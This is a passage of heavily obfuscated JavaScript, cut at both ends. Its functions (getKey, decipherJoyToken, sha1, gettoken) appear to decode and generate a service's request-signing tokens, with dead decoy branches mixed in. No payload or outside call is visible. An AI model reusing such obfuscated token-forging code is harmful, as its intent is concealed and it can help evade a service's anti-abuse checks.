_0x1bf7ff[_0x3b519f]=_0x2c43ff;});}else _0x1bf7ff=_0x3b519f;return _0x1bf7ff;},'objToString2':function(){var _0x1ca6c9={'UiGIW':function(_0x103b99,_0x1c425b){return _0x103b99!=_0x1c425b;},'bNCCO':function(_0x26880a,_0x43c8b6){return _0x26880a instanceof _0x43c8b6;},'oSnKn':function(_0x712f16,_0x228125){return _0x712f16 instanceof _0x228125;},'IyuNt':function(_0x4389c9,_0x10573d){return _0x4389c9===_0x10573d;},'IrvFc':function(_0x15184f,_0x18ab6e){return _0x15184f===_0x18ab6e;},'ceLKt':function(_0x290c92,_0x11b3de){return _0x290c92>_0x11b3de;},'WYHug':function(_0x5c5853,_0x509f8e){return _0x5c5853!==_0x509f8e;}};var _0x44564c=_0x1ca6c9[_0x511e('213')](arguments[_0x511e('9')],0x0)&&_0x1ca6c9[_0x511e('214')](void 0x0,arguments[0x0])?arguments[0x0]:{},_0x50ee27='';return Object[_0x511e('1a8')](_0x44564c)[_0x511e('1a9')](function(_0x4e2439){var _0x2dbc75=_0x44564c[_0x4e2439];_0x1ca6c9[_0x511e('215')](null,_0x2dbc75)&&(_0x50ee27+=_0x1ca6c9[_0x511e('216')](_0x2dbc75,Object)||_0x1ca6c9[_0x511e('217')](_0x2dbc75,Array)?''[_0x511e('90')](_0x1ca6c9[_0x511e('218')]('',_0x50ee27)?'':'&')[_0x511e('90')](_0x4e2439,'=')[_0x511e('90')](JSON[_0x511e('219')](_0x2dbc75)):''[_0x511e('90')](_0x1ca6c9[_0x511e('21a')]('',_0x50ee27)?'':'&')[_0x511e('90')](_0x4e2439,'=')[_0x511e('90')](_0x2dbc75));}),_0x50ee27;},'getKey':function(_0x23822f,_0x2bae77,_0x3b9511){var _0x164187={'mlcVZ':function(_0x4f96bb,_0x21530c){return _0x4f96bb-_0x21530c;},'fSCFR':function(_0x190f8d,_0x4f6081){return _0x190f8d<_0x4f6081;},'vuWoU':function(_0x148bfe,_0x45863d){return _0x148bfe+_0x45863d;},'jnECt':function(_0x2d0af6,_0x1d4eae){return _0x2d0af6&_0x1d4eae;},'RJSpY':function(_0xee3514,_0x5d0f6a){return _0xee3514>>_0x5d0f6a;},'uHbjx':function(_0x3e3faf,_0x1dd1e8){return _0x3e3faf==_0x1dd1e8;},'vtEMR':function(_0x441478,_0x2002c4){return _0x441478>>_0x2002c4;},'hFNEf':function(_0x2a1ffb,_0x1b5b5d){return _0x2a1ffb^_0x1b5b5d;},'nqbeb':function(_0x1484f6,_0x295209){return _0x1484f6+_0x295209;},'UnXSx':function(_0x2fa45f,_0x3ab366){return _0x2fa45f<<_0x3ab366;},'XYNiJ':function(_0x4fe43a,_0x1f0b20){return _0x4fe43a>>_0x1f0b20;},'ITGRN':function(_0x5a2ca8,_0x3c653c){return _0x5a2ca8+_0x3c653c;},'PyKLV':function(_0x30f8c6,_0x1e3a51){return _0x30f8c6+_0x1e3a51;},'pNLbR':function(_0x36fd4f,_0x2b2756){return _0x36fd4f===_0x2b2756;},'FLVoS':_0x511e('21b'),'hhFsf':_0x511e('21c'),'zyJCV':_0x511e('21d'),'ZBVwM':function(_0x2611c0,_0x53f550){return _0x2611c0>>_0x53f550;},'vZmPV':function(_0x1899e9,_0x5e9cc9){return _0x1899e9+_0x5e9cc9;},'DKIHQ':function(_0x51d815,_0x13d1ae){return _0x51d815<_0x13d1ae;},'WqRdE':function(_0x4caa5e){return _0x4caa5e();},'mHQrI':function(_0x4139a3,_0x4b25b4){return _0x4139a3<_0x4b25b4;},'DaLEa':function(_0x328814,_0x260c61){return _0x328814<<_0x260c61;},'EQIDa':function(_0x41d8eb,_0x3b5794){return _0x41d8eb!==_0x3b5794;},'hOcNW':_0x511e('21e'),'fRUPA':_0x511e('21f'),'pTtGC':function(_0x5f1515,_0x302d5e){return _0x5f1515(_0x302d5e);},'fZgYn':function(_0x392249,_0x3fd8f5,_0x11b264){return _0x392249(_0x3fd8f5,_0x11b264);},'ulJsf':_0x511e('220')};let _0x4626f6=this;return{1:function(){var _0x23822f=_0x4626f6[_0x511e('221')](_0x2bae77),_0x3663d1=_0x4626f6[_0x511e('222')](_0x3b9511);return Math[_0x511e('1b4')](_0x164187[_0x511e('223')](_0x23822f,_0x3663d1));},2:function(){var _0x2275c2={'Yvgzz':function(_0x1b62c1,_0x3e4417){return _0x164187[_0x511e('224')](_0x1b62c1,_0x3e4417);},'QTWFU':function(_0x361b45,_0xdc3283){return _0x164187[_0x511e('225')](_0x361b45,_0xdc3283);},'lQLxw':function(_0xefc69b,_0x5dd5de){return _0x164187[_0x511e('226')](_0xefc69b,_0x5dd5de);},'cjmVQ':function(_0x8b9324,_0x445255){return _0x164187[_0x511e('227')](_0x8b9324,_0x445255);},'FVinj':function(_0x31f706,_0x426808){return _0x164187[_0x511e('226')](_0x31f706,_0x426808);},'yeeke':function(_0x29a418,_0x396aae){return _0x164187[_0x511e('228')](_0x29a418,_0x396aae);},'XTNMz':function(_0x4039d0,_0x72f96){return _0x164187[_0x511e('229')](_0x4039d0,_0x72f96);},'YkkJL':function(_0x1bb90b,_0x32b1df){return _0x164187[_0x511e('22a')](_0x1bb90b,_0x32b1df);},'dyDyx':function(_0x5b9b59,_0x1342e6){return _0x164187[_0x511e('22b')](_0x5b9b59,_0x1342e6);},'jmeEt':function(_0x396d19,_0x74d521){return _0x164187[_0x511e('22b')](_0x396d19,_0x74d521);},'EJSws':function(_0x47c987,_0x16f77b){return _0x164187[_0x511e('22c')](_0x47c987,_0x16f77b);},'cahjY':function(_0x2d82ed,_0x345048){return _0x164187[_0x511e('22a')](_0x2d82ed,_0x345048);},'tnfKX':function(_0x463b0e,_0x3e68b4){return _0x164187[_0x511e('22d')](_0x463b0e,_0x3e68b4);},'dwPxK':function(_0x30720a,_0x2f1018){return _0x164187[_0x511e('22e')](_0x30720a,_0x2f1018);},'Syimg':function(_0x5cede7,_0xfba5cd){return _0x164187[_0x511e('22f')](_0x5cede7,_0xfba5cd);}};if(_0x164187[_0x511e('230')](_0x164187[_0x511e('231')],_0x164187[_0x511e('232')])){var _0x2cc153,_0x5ce5c5=[],_0x373452,_0x1804d6;for(_0x2cc153=0x0;_0x2275c2[_0x511e('233')](_0x2cc153,s[_0x511e('9')]);_0x2cc153++)if(_0x2275c2[_0x511e('233')](_0x373452=s[_0x511e('81')](_0x2cc153),0x80))_0x5ce5c5[_0x511e('190')](_0x373452);else if(_0x2275c2[_0x511e('233')](_0x373452,0x800))_0x5ce5c5[_0x511e('190')](_0x2275c2[_0x511e('234')](0xc0,_0x2275c2[_0x511e('235')](_0x2275c2[_0x511e('236')](_0x373452,0x6),0x1f)),_0x2275c2[_0x511e('234')](0x80,_0x2275c2[_0x511e('237')](_0x373452,0x3f)));else{if(_0x2275c2[_0x511e('238')](_0x2275c2[_0x511e('239')](_0x1804d6=_0x2275c2[_0x511e('23a')](_0x373452,0xd800),0xa),0x0))_0x373452=_0x2275c2[_0x511e('23b')](_0x2275c2[_0x511e('23c')](_0x2275c2[_0x511e('23d')](_0x1804d6,0xa),_0x2275c2[_0x511e('23e')](s[_0x511e('81')](++_0x2cc153),0xdc00)),0x10000),_0x5ce5c5[_0x511e('190')](_0x2275c2[_0x511e('23c')](0xf0,_0x2275c2[_0x511e('237')](_0x2275c2[_0x511e('239')](_0x373452,0x12),0x7)),_0x2275c2[_0x511e('23c')](0x80,_0x2275c2[_0x511e('237')](_0x2275c2[_0x511e('23f')](_0x373452,0xc),0x3f)));else _0x5ce5c5[_0x511e('190')](_0x2275c2[_0x511e('240')](0xe0,_0x2275c2[_0x511e('237')](_0x2275c2[_0x511e('23f')](_0x373452,0xc),0xf)));_0x5ce5c5[_0x511e('190')](_0x2275c2[_0x511e('241')](0x80,_0x2275c2[_0x511e('237')](_0x2275c2[_0x511e('23f')](_0x373452,0x6),0x3f)),_0x2275c2[_0x511e('241')](0x80,_0x2275c2[_0x511e('237')](_0x373452,0x3f)));};return _0x5ce5c5;}else{var _0x23822f=_0x4626f6[_0x511e('222')](_0x2bae77,!0x1),_0x540f2b=_0x4626f6[_0x511e('222')](_0x3b9511);return _0x4626f6[_0x511e('242')](_0x23822f,_0x540f2b);}},3:function(){var _0x2a6112={'czSEM':_0x164187[_0x511e('243')],'sCqGV':function(_0xf92160,_0x103336){return _0x164187[_0x511e('244')](_0xf92160,_0x103336);},'hqWsl':function(_0x12bad5,_0x513775){return _0x164187[_0x511e('224')](_0x12bad5,_0x513775);},'Bcfdr':function(_0xfc171e,_0x44bbc0){return _0x164187[_0x511e('245')](_0xfc171e,_0x44bbc0);},'SEbhF':function(_0x45d4f6,_0x25f91c){return _0x164187[_0x511e('246')](_0x45d4f6,_0x25f91c);},'EQMEs':function(_0x155b7b){return _0x164187[_0x511e('247')](_0x155b7b);},'YxAyL':function(_0x31762b,_0x2280a0){return _0x164187[_0x511e('226')](_0x31762b,_0x2280a0);},'UvLGr':function(_0x59108e,_0x738166){return _0x164187[_0x511e('248')](_0x59108e,_0x738166);},'TamiX':function(_0x5cdc53,_0xd425a6){return _0x164187[_0x511e('22c')](_0x5cdc53,_0xd425a6);},'wzAiV':function(_0x3a90bf,_0x2f2317){return _0x164187[_0x511e('249')](_0x3a90bf,_0x2f2317);}};if(_0x164187[_0x511e('24a')](_0x164187[_0x511e('24b')],_0x164187[_0x511e('24c')])){var _0x23822f=_0x2bae77[_0x511e('c2')](0x0,0x5),_0x4f70b6=_0x164187[_0x511e('24d')](String,_0x3b9511)[_0x511e('c2')](-0x5);return _0x4626f6[_0x511e('242')](_0x23822f,_0x4f70b6);}else{var _0x5ce01e=_0x2a6112[_0x511e('24e')][_0x511e('29')]('|'),_0x49ab25=0x0;while(!![]){switch(_0x5ce01e[_0x49ab25++]){case'0':count[0x1]+=_0x2a6112[_0x511e('24f')](inputLen,0x1d);continue;case'1':for(_0x14580b=0x0;_0x2a6112[_0x511e('250')](_0x2a6112[_0x511e('251')](_0x14580b,0x3f),inputLen);_0x14580b+=0x40){for(var _0x5368f7=_0x5e3ea3;_0x2a6112[_0x511e('252')](_0x5368f7,0x40);_0x5368f7++)buffer[_0x5368f7]=data[_0x511e('81')](_0x4cca3d++);_0x2a6112[_0x511e('253')](sha256_transform);_0x5e3ea3=0x0;}continue;case'2':_0x5e3ea3=_0x2a6112[_0x511e('254')](_0x2a6112[_0x511e('24f')](count[0x0],0x3),0x3f);continue;case'3':if(_0x2a6112[_0x511e('255')](count[0x0]+=_0x2a6112[_0x511e('256')](inputLen,0x3),_0x2a6112[_0x511e('257')](inputLen,0x3)))count[0x1]++;continue;case'4':var _0x14580b,_0x5e3ea3,_0x4cca3d=0x0;continue;case'5':var _0xbc578e=_0x2a6112[_0x511e('254')](inputLen,0x3f);continue;case'6':for(var _0x5368f7=0x0;_0x2a6112[_0x511e('255')](_0x5368f7,_0xbc578e);_0x5368f7++)buffer[_0x5368f7]=data[_0x511e('81')](_0x4cca3d++);continue;}break;}}},4:function(){return _0x4626f6[_0x511e('198')](_0x2bae77,_0x3b9511);},5:function(){return _0x4626f6[_0x511e('9d')](_0x2bae77,_0x3b9511);},6:function(){if(_0x164187[_0x511e('230')](_0x164187[_0x511e('258')],_0x164187[_0x511e('258')])){return _0x4626f6[_0x511e('259')](_0x2bae77,_0x3b9511);}else{return _0x164187[_0x511e('25a')](hexHMACMD5,key,string);}}}[_0x23822f]();},'decipherJoyToken':function(_0x4325d7,_0x5dfca6){var _0x15d0a3={'ayCvl':function(_0x5f37e2,_0x11c6a2){return _0x5f37e2+_0x11c6a2;},'XLGSX':_0x511e('25b'),'UXoQX':function(_0x3c72fd,_0x1ebdb3){return _0x3c72fd-_0x1ebdb3;},'GloQb':function(_0x3a5e92,_0x5d369e){return _0x3a5e92==_0x5d369e;},'FEFiu':_0x511e('25c')};let _0x2afc49=this;var _0xfe1456={'jjt':'a','expire':_0x2afc49[_0x511e('25d')](),'outtime':0x3,'time_correction':!0x1};var _0xc57fff='',_0x3e876f=_0x15d0a3[_0x511e('25e')](_0x4325d7[_0x511e('15d')](_0x5dfca6),_0x5dfca6[_0x511e('9')]),_0x2fbeed=_0x4325d7[_0x511e('9')];if((_0xc57fff=(_0xc57fff=_0x4325d7[_0x511e('c2')](_0x3e876f,_0x2fbeed)[_0x511e('29')]('.'))[_0x511e('1f6')](function(_0x4325d7){return _0x2afc49[_0x511e('136')](_0x4325d7);}))[0x1]&&_0xc57fff[0x0]&&_0xc57fff[0x2]){var _0x1f0ea4=_0x15d0a3[_0x511e('25f')][_0x511e('29')]('|'),_0x796180=0x0;while(!![]){switch(_0x1f0ea4[_0x796180++]){case'0':_0xfe1456[_0x511e('260')]=_0x15d0a3[_0x511e('261')](_0x14f73c[0x3],0x0),_0xfe1456[_0x511e('262')]=_0x14f73c[0x2],_0xfe1456[_0x511e('263')]='t';continue;case'1':var _0x47a146=_0x15d0a3[_0x511e('261')](_0x14f73c[0x0],0x0)||0x0;continue;case'2':_0x47a146&&_0x15d0a3[_0x511e('264')](_0x15d0a3[_0x511e('265')],typeof _0x47a146)&&(_0xfe1456[_0x511e('266')]=!0x0,_0xfe1456[_0x511e('267')]=_0x47a146);continue;case'3':var _0x2662c6=_0x15d0a3[_0x511e('261')](_0x47a146,_0x2afc49[_0x511e('25d')]())||0x0;continue;case'4':var _0x721999=_0xc57fff[0x0][_0x511e('c2')](0x2,0x7),_0x1aff81=_0xc57fff[0x0][_0x511e('c2')](0x7,0x9),_0x14f73c=_0x2afc49[_0x511e('268')](_0xc57fff[0x1]||'',_0x721999)[_0x511e('29')]('~');continue;case'5':return _0xfe1456['q']=_0x2662c6,_0xfe1456[_0x511e('269')]=_0x1aff81,_0xfe1456;}break;}}return _0xfe1456;},'sha1':function(_0x4e9f78){var _0x2f200c={'HqaTH':function(_0x7347b0,_0x419477){return _0x7347b0|_0x419477;},'rncga':function(_0x52d85b,_0x51df80){return _0x52d85b&_0x51df80;},'fbHwt':function(_0xd30b6e,_0x1f68e1){return _0xd30b6e&_0x1f68e1;},'JMlxy':function(_0x5d63ee,_0x1d1e00){return _0x5d63ee^_0x1d1e00;},'PWBjS':function(_0xfd0b82,_0x1b87fa){return _0xfd0b82|_0x1b87fa;},'FBQQY':function(_0x4061c6,_0x558016){return _0x4061c6&_0x558016;},'JecRY':_0x511e('26a'),'rTQcm':function(_0x49a3d9,_0xa0c7b1){return _0x49a3d9+_0xa0c7b1;},'NYeui':function(_0x825287,_0x17aba4){return _0x825287+_0x17aba4;},'eWDRS':function(_0x37a13d,_0x5c6e5d){return _0x37a13d(_0x5c6e5d);},'Kgsqz':function(_0x4a57fb,_0x36001a,_0x306ee3,_0x22a52f){return _0x4a57fb(_0x36001a,_0x306ee3,_0x22a52f);},'TnSbc':function(_0x39a11c,_0x15c9b6,_0x57d89d){return _0x39a11c(_0x15c9b6,_0x57d89d);},'AnOss':function(_0xe0a616,_0x5809d5){return _0xe0a616<_0x5809d5;},'wQcok':function(_0x4dbdf8,_0x2c1a9c,_0x16e887){return _0x4dbdf8(_0x2c1a9c,_0x16e887);},'qteQG':function(_0x440865,_0x66b627){return _0x440865+_0x66b627;},'kFEwp':function(_0x3d3eab,_0x1fd3ca){return _0x3d3eab(_0x1fd3ca);},'sGvNa':function(_0x19bfa7,_0x3959e0,_0x3061ea,_0xde4755){return _0x19bfa7(_0x3959e0,_0x3061ea,_0xde4755);},'sIsHq':function(_0x3b11bf,_0xf0c28f){return _0x3b11bf===_0xf0c28f;},'RkBOY':_0x511e('26b'),'hhkEw':function(_0x10bbaf,_0x15d6e0){return _0x10bbaf|_0x15d6e0;},'WwJPw':function(_0x3076ba,_0x28424e){return _0x3076ba<<_0x28424e;},'Ibddk':function(_0x3ef908,_0x2bc50f){return _0x3ef908>>>_0x2bc50f;},'vQrjM':function(_0x4396f6,_0x1f423b){return _0x4396f6-_0x1f423b;},'PcqzE':function(_0x799817,_0x4a7194){return _0x799817+_0x4a7194;},'XQHRO':function(_0x45987a,_0x252c3f){return _0x45987a>>>_0x252c3f;},'aJRJi':function(_0x5a96fb,_0x2a8b76){return _0x5a96fb<<_0x2a8b76;},'rfgOY':function(_0x393dc3,_0x3c8b72){return _0x393dc3<<_0x3c8b72;},'IYNHV':function(_0x2be15c,_0x120bd0){return _0x2be15c>>_0x120bd0;},'FEjJh':function(_0x2cd68b,_0x2de0f1){return _0x2cd68b*_0x2de0f1;},'CNefd':function(_0x2048bb,_0x131930){return _0x2048bb-_0x131930;},'pbPZD':function(_0x4a9800,_0x50cf86){return _0x4a9800<<_0x50cf86;},'AXSUY':function(_0x175577,_0x2c9954){return _0x175577<_0x2c9954;},'ayddN':function(_0x5a023d,_0x4e1b28,_0xbbe26d){return _0x5a023d(_0x4e1b28,_0xbbe26d);},'AMBWM':function(_0x458e10,_0x13f330){return _0x458e10^_0x13f330;},'hnYvq':function(_0x123d3a,_0x322a9e){return _0x123d3a^_0x322a9e;},'pkVwJ':function(_0x11eac3,_0x46940c){return _0x11eac3^_0x46940c;},'oYBHn':function(_0x32cac1,_0x105ac6){return _0x32cac1-_0x105ac6;},'JdUHj':function(_0x743274,_0x33a3e3){return _0x743274-_0x33a3e3;},'sCoTX':function(_0x291943,_0x5be2cd){return _0x291943|_0x5be2cd;},'owSZX':function(_0x1a5e5c,_0x2bb103){return _0x1a5e5c+_0x2bb103;},'FSmrx':function(_0x424c80,_0x93ea49){return _0x424c80/_0x93ea49;},'AQqAb':function(_0x167333,_0x5c0536){return _0x167333/_0x5c0536;}};var _0x106c45=new Uint8Array(this[_0x511e('26c')](_0x4e9f78));var _0x1dd03b,_0x20f1d6,_0x3f0380;var _0x3134be=_0x2f200c[_0x511e('26d')](_0x2f200c[_0x511e('26e')](_0x2f200c[_0x511e('26f')](_0x2f200c[_0x511e('26d')](_0x106c45[_0x511e('9')],0x8),0x6),0x4),0x10),_0x4e9f78=new Uint8Array(_0x2f200c[_0x511e('270')](_0x3134be,0x2));_0x4e9f78[_0x511e('271')](new Uint8Array(_0x106c45[_0x511e('272')])),_0x4e9f78=new Uint32Array(_0x4e9f78[_0x511e('272')]);for(_0x3f0380=new DataView(_0x4e9f78[_0x511e('272')]),_0x1dd03b=0x0;_0x2f200c[_0x511e('273')](_0x1dd03b,_0x3134be);_0x1dd03b++)_0x4e9f78[_0x1dd03b]=_0x3f0380[_0x511e('274')](_0x2f200c[_0x511e('275')](_0x1dd03b,0x2));_0x4e9f78[_0x2f200c[_0x511e('276')](_0x106c45[_0x511e('9')],0x2)]|=_0x2f200c[_0x511e('275')](0x80,_0x2f200c[_0x511e('277')](0x18,_0x2f200c[_0x511e('278')](_0x2f200c[_0x511e('279')](_0x106c45[_0x511e('9')],0x3),0x8)));_0x4e9f78[_0x2f200c[_0x511e('27a')](_0x3134be,0x1)]=_0x2f200c[_0x511e('27b')](_0x106c45[_0x511e('9')],0x3);var _0x2113aa=[],_0x405359=[function(){return _0x2f200c[_0x511e('27c')](_0x2f200c[_0x511e('27d')](_0x377d82[0x1],_0x377d82[0x2]),_0x2f200c[_0x511e('27e')](~_0x377d82[0x1],_0x377d82[0x3]));},function(){return _0x2f200c[_0x511e('27f')](_0x2f200c[_0x511e('27f')](_0x377d82[0x1],_0x377d82[0x2]),_0x377d82[0x3]);},function(){return _0x2f200c[_0x511e('27c')](_0x2f200c[_0x511e('280')](_0x2f200c[_0x511e('27e')](_0x377d82[0x1],_0x377d82[0x2]),_0x2f200c[_0x511e('279')](_0x377d82[0x1],_0x377d82[0x3])),_0x2f200c[_0x511e('279')](_0x377d82[0x2],_0x377d82[0x3]));},function(){if(_0x2f200c[_0x511e('281')](_0x2f200c[_0x511e('282')],_0x2f200c[_0x511e('282')])){return _0x2f200c[_0x511e('27f')](_0x2f200c[_0x511e('27f')](_0x377d82[0x1],_0x377d82[0x2]),_0x377d82[0x3]);}else{var _0x3dcc29=_0x2f200c[_0x511e('283')][_0x511e('29')]('|'),_0x520c5e=0x0;while(!![]){switch(_0x3dcc29[_0x520c5e++]){case'0':d=c;continue;case'1':T1=_0x2f200c[_0x511e('284')](_0x2f200c[_0x511e('285')](_0x2f200c[_0x511e('285')](h,_0x2f200c[_0x511e('286')](sha256_Sigma1,e)),_0x2f200c[_0x511e('287')](choice,e,_0x405359,g)),K256[_0x20f1d6]);continue;case'2':a=_0x2f200c[_0x511e('288')](safe_add,T1,T2);continue;case'3':if(_0x2f200c[_0x511e('273')](_0x20f1d6,0x10))T1+=W[_0x20f1d6];else T1+=_0x2f200c[_0x511e('289')](sha256_expand,W,_0x20f1d6);continue;case'4':g=_0x405359;continue;case'5':T2=_0x2f200c[_0x511e('28a')](_0x2f200c[_0x511e('28b')](sha256_Sigma0,a),_0x2f200c[_0x511e('28c')](majority,a,b,c));continue;case'6':_0x405359=e;continue;case'7':h=g;continue;case'8':b=a;continue;case'9':c=b;continue;case'10':e=_0x2f200c[_0x511e('289')](safe_add,d,T1);continue;}break;}}}],_0x3b047e=function(_0x3f4cfa,_0x58d823){return _0x2f200c[_0x511e('28d')](_0x2f200c[_0x511e('26e')](_0x3f4cfa,_0x58d823),_0x2f200c[_0x511e('28e')](_0x3f4cfa,_0x2f200c[_0x511e('277')](0x20,_0x58d823)));},_0x5a1b54=[0x5a827999,0x6ed9eba1,-0x70e44324,-0x359d3e2a],_0x377d82=[0x67452301,-0x10325477,null,null,-0x3c2d1e10];_0x377d82[0x2]=~_0x377d82[0x0],_0x377d82[0x3]=~_0x377d82[0x1];for(var _0x1dd03b=0x0;_0x2f200c[_0x511e('273')](_0x1dd03b,_0x4e9f78[_0x511e('9')]);_0x1dd03b+=0x10){var _0x12bc7d=_0x377d82[_0x511e('c2')](0x0);for(_0x20f1d6=0x0;_0x2f200c[_0x511e('28f')](_0x20f1d6,0x50);_0x20f1d6++)_0x2113aa[_0x20f1d6]=_0x2f200c[_0x511e('28f')](_0x20f1d6,0x10)?_0x4e9f78[_0x2f200c[_0x511e('26d')](_0x1dd03b,_0x20f1d6)]:_0x2f200c[_0x511e('290')](_0x3b047e,_0x2f200c[_0x511e('291')](_0x2f200c[_0x511e('292')](_0x2f200c[_0x511e('293')](_0x2113aa[_0x2f200c[_0x511e('27a')](_0x20f1d6,0x3)],_0x2113aa[_0x2f200c[_0x511e('294')](_0x20f1d6,0x8)]),_0x2113aa[_0x2f200c[_0x511e('294')](_0x20f1d6,0xe)]),_0x2113aa[_0x2f200c[_0x511e('295')](_0x20f1d6,0x10)]),0x1),_0x3f0380=_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('26d')](_0x2f200c[_0x511e('26d')](_0x2f200c[_0x511e('297')](_0x2f200c[_0x511e('297')](_0x2f200c[_0x511e('290')](_0x3b047e,_0x377d82[0x0],0x5),_0x405359[_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('298')](_0x20f1d6,0x14),0x0)]()),_0x377d82[0x4]),_0x2113aa[_0x20f1d6]),_0x5a1b54[_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('299')](_0x20f1d6,0x14),0x0)]),0x0),_0x377d82[0x1]=_0x2f200c[_0x511e('290')](_0x3b047e,_0x377d82[0x1],0x1e),_0x377d82[_0x511e('29a')](),_0x377d82[_0x511e('29b')](_0x3f0380);for(_0x20f1d6=0x0;_0x2f200c[_0x511e('28f')](_0x20f1d6,0x5);_0x20f1d6++)_0x377d82[_0x20f1d6]=_0x2f200c[_0x511e('296')](_0x2f200c[_0x511e('297')](_0x377d82[_0x20f1d6],_0x12bc7d[_0x20f1d6]),0x0);};_0x3f0380=new DataView(new Uint32Array(_0x377d82)[_0x511e('272')]);for(var _0x1dd03b=0x0;_0x2f200c[_0x511e('28f')](_0x1dd03b,0x5);_0x1dd03b++)_0x377d82[_0x1dd03b]=_0x3f0380[_0x511e('274')](_0x2f200c[_0x511e('27b')](_0x1dd03b,0x2));var _0x4349a5=Array[_0x511e('bf')][_0x511e('1f6')][_0x511e('c1')](new Uint8Array(new Uint32Array(_0x377d82)[_0x511e('272')]),function(_0x4bdf91){return _0x2f200c[_0x511e('28a')](_0x2f200c[_0x511e('273')](_0x4bdf91,0x10)?'0':'',_0x4bdf91[_0x511e('c0')](0x10));})[_0x511e('191')]('');return _0x4349a5[_0x511e('c0')]()[_0x511e('150')]();},'encodeUTF8':function(_0xdfbd4f){var _0x4e5614={'MDsdN':function(_0x5701ec,_0x1a93a1){return _0x5701ec<_0x1a93a1;},'uPyAw':function(_0x1de170,_0x1ce9c6){return _0x1de170<_0x1ce9c6;},'kyuoi':function(_0x49e87d,_0x3f6946){return _0x49e87d<_0x3f6946;},'iKsKH':function(_0x356c71,_0x1bf70a){return _0x356c71+_0x1bf70a;},'gbDQD':function(_0xe28e2,_0x41a613){return _0xe28e2&_0x41a613;},'cvJUB':function(_0x4b9d1f,_0x16e0e9){return _0x4b9d1f>>_0x16e0e9;},'QQimb':function(_0x464db7,_0x2d7bd5){return _0x464db7+_0x2d7bd5;},'aZjhz':function(_0xf27cd0,_0x3e27c4){return _0xf27cd0&_0x3e27c4;},'DvQuq':function(_0x19bff6,_0x32c434){return _0x19bff6==_0x32c434;},'TVLvt':function(_0x502f48,_0xe320a8){return _0x502f48^_0xe320a8;},'nZXMM':function(_0x4af771,_0x3a08d7){return _0x4af771+_0x3a08d7;},'knlgR':function(_0x33e24b,_0x5dad72){return _0x33e24b+_0x5dad72;},'pJiHe':function(_0x3dda18,_0x39b878){return _0x3dda18<<_0x39b878;},'QfQIX':function(_0x4eb32f,_0x575171){return _0x4eb32f+_0x575171;},'dRBYa':function(_0x24ed2b,_0x2a5c9b){return _0x24ed2b&_0x2a5c9b;},'EGNqw':function(_0x2bfde8,_0x1859f7){return _0x2bfde8>>_0x1859f7;},'lnura':function(_0xdcf72f,_0x5d87d6){return _0xdcf72f+_0x5d87d6;},'MImsb':function(_0xd256a8,_0x1ff471){return _0xd256a8>>_0x1ff471;},'rEBVl':function(_0x4ef44b,_0xffa2cc){return _0x4ef44b+_0xffa2cc;},'dwkNk':function(_0x8b53fe,_0x42876e){return _0x8b53fe&_0x42876e;}};var _0x295bc9,_0x4b4ccc=[],_0x82e80f,_0x5e3413;for(_0x295bc9=0x0;_0x4e5614[_0x511e('29c')](_0x295bc9,_0xdfbd4f[_0x511e('9')]);_0x295bc9++)if(_0x4e5614[_0x511e('29d')](_0x82e80f=_0xdfbd4f[_0x511e('81')](_0x295bc9),0x80))_0x4b4ccc[_0x511e('190')](_0x82e80f);else if(_0x4e5614[_0x511e('29e')](_0x82e80f,0x800))_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('29f')](0xc0,_0x4e5614[_0x511e('2a0')](_0x4e5614[_0x511e('2a1')](_0x82e80f,0x6),0x1f)),_0x4e5614[_0x511e('2a2')](0x80,_0x4e5614[_0x511e('2a3')](_0x82e80f,0x3f)));else{if(_0x4e5614[_0x511e('2a4')](_0x4e5614[_0x511e('2a1')](_0x5e3413=_0x4e5614[_0x511e('2a5')](_0x82e80f,0xd800),0xa),0x0))_0x82e80f=_0x4e5614[_0x511e('2a6')](_0x4e5614[_0x511e('2a7')](_0x4e5614[_0x511e('2a8')](_0x5e3413,0xa),_0x4e5614[_0x511e('2a5')](_0xdfbd4f[_0x511e('81')](++_0x295bc9),0xdc00)),0x10000),_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2a7')](0xf0,_0x4e5614[_0x511e('2a3')](_0x4e5614[_0x511e('2a1')](_0x82e80f,0x12),0x7)),_0x4e5614[_0x511e('2a9')](0x80,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ab')](_0x82e80f,0xc),0x3f)));else _0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2a9')](0xe0,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ab')](_0x82e80f,0xc),0xf)));_0x4b4ccc[_0x511e('190')](_0x4e5614[_0x511e('2ac')](0x80,_0x4e5614[_0x511e('2aa')](_0x4e5614[_0x511e('2ad')](_0x82e80f,0x6),0x3f)),_0x4e5614[_0x511e('2ae')](0x80,_0x4e5614[_0x511e('2af')](_0x82e80f,0x3f)));};return _0x4b4ccc;},'gettoken':function(){var _0x309d6d={'CPLiP':_0x511e('2b0'),'sIRhw':_0x511e('2b1'),'JbwVz':_0x511e('2b2'),'CarqF':_0x511e('2b3'),'jiHyi':function(_0xcde927,_0x4d8e38){return _0xcde927&_0x4d8e38;},'kNqKz':function(_0x5ea9b1,_0x454158){return _0x5ea9b1^_0x454158;},'PBnie':function(_0xd1e679,_0x4d0160){return _0xd1e679+_0x4d0160;},'XMufR':function(_0x322031,_0x190e7d){return _0x322031*_0x190e7d;},'cQRbt':function(_0x532fa8,_0x1d14a1){return _0x532fa8>>>_0x1d14a1;},'LWpLl':function(_0x170992,_0x239916){return _0x170992===_0x239916;},'ReQNr':_0x511e('2b4'),'YFdrq':_0x511e('2b5'),'uYZax':_0x511e('2b6'),'bBmdW':_0x511e('2b7'),'IHfOi':_0x511e('2b8'),'JbOvn':_0x511e('2b9'),'ABHSY':_0x511e('2ba'),'DELXT':_0x511e('2bb'),'PQydG':_0x511e('2bc'),'etqVv':function(_0x6204db,_0x3e125a){return _0x6204db(_0x3e125a);},'jQgAK':_0x511e('2bd')};const _0x40b558=_0x309d6d[_0x511e('2be')](require,_0x309d6d[_0x511e('2bf')]);var _0xda22b7=_0x511e('2c0');return new Promise((_0x107777,_0x1b2690)=>{var _0x1c75d1={'ZaIAY':function(_0x5c6d4b,_0x5d6456){return _0x309d6d[_0x511e('2c1')](_0x5c6d4b,_0x5d6456);},'eekrh':function(_0x24e276,_0x176ce3){return _0x309d6d[_0x511e('2c2')](_0x24e276,_0x176ce3);},'IZTcn':function(_0x5d7247,_0x544450){return 